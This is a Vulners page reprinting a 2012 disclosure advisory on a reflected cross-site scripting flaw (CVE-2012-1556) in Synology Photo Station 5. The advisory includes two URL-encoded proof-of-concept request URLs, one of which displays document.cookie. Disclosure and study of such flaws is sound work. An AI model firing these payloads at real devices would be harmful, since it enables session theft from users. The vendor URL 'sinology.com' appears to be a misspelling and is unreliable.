Vulners
Lucene search
Photo Station 5 Cross Site Scripting
| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
 | CVE-2012-1556 | 12 Mar 201200:00 | – | circl |
 | CVE-2012-1556 | 12 Sep 201414:00 | – | cve |
 | CVE-2012-1556 | 12 Sep 201414:00 | – | cvelist |
 | EUVD-2012-1574 | 7 Oct 202500:30 | – | euvd |
 | CVE-2012-1556 | 12 Sep 201414:55 | – | nvd |
 | Cross site scripting | 12 Sep 201414:55 | – | prion |
 | Synology Photo Station 5 - Reflected Cross-Site Scripting | 19 Mar 201200:00 | – | securityvulns |
 | Synology DiskStation Manager Cross-site Scripting (CVE-2012-1556) | 1 Oct 202400:00 | – | nessus |
`##############################################################################
#
# Title : Photo Station 5 - Reflected Cross-Site Scripting
# Author : Simon Ganiere
# Vendor : http://www.sinology.com
# Advisory : CVE-2012-1556
# Software : Photo Station 5 - DSM 3.2 (1955)
# Date : 05/02/2012
#
###############################################################################
30/01/2012 Issue Discovered
05/02/2012 Vendor Notified
06/03/2012 Vendor released DSM 4
Class: Cross-Site Scripting (Reflected)
Overview:
---------
Photo Station5 is prone to a reflected cross site scripting vulnerability
Technical Description:
----------------------
Input passed via the 'name' parameter to page: /photo/photo_one.php pages is not properly verified, which allows remote attackers to inject arbitrary script code.
Impact:
--------
Successful exploitation could allow remote attackers to execute malicious scripts and steal sensitive data.
Affected Software:
------------------
Photo Station 5, DSM 3.2 (1955)
Tested on:
-----------
Photo Station 5, DSM 3.2 (1955), Mac OS X 10.7.2/10.7.3, Firefox 9.0.1
Proof of Concept:
----------------
1) /photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%38%38%2c%38%33%2c%38%33%29%29%3c%2f%73%63%72%69%70%74%3e
Generate an alert message in javascript with a text in it. The second name parameter is encoded using urlencode
2) /photo/photo_one.php?name=494d475f32303131303730395f3232343432362e6a7067&dir=6970686f6e65207068696c69707065&name=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e%3c%61%20%68%72%65%66%3d%22
Generate an alert message with the document.cookie in it. The second name parameter is encoded using urlencode.
Vendor URL:
----------------
http://www.sinology.com
Credits:
--------
Simon Ganiere
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
12 Mar 2012 00:00Current
6.7Medium risk
Vulners AI Score6.7
EPSS0.00895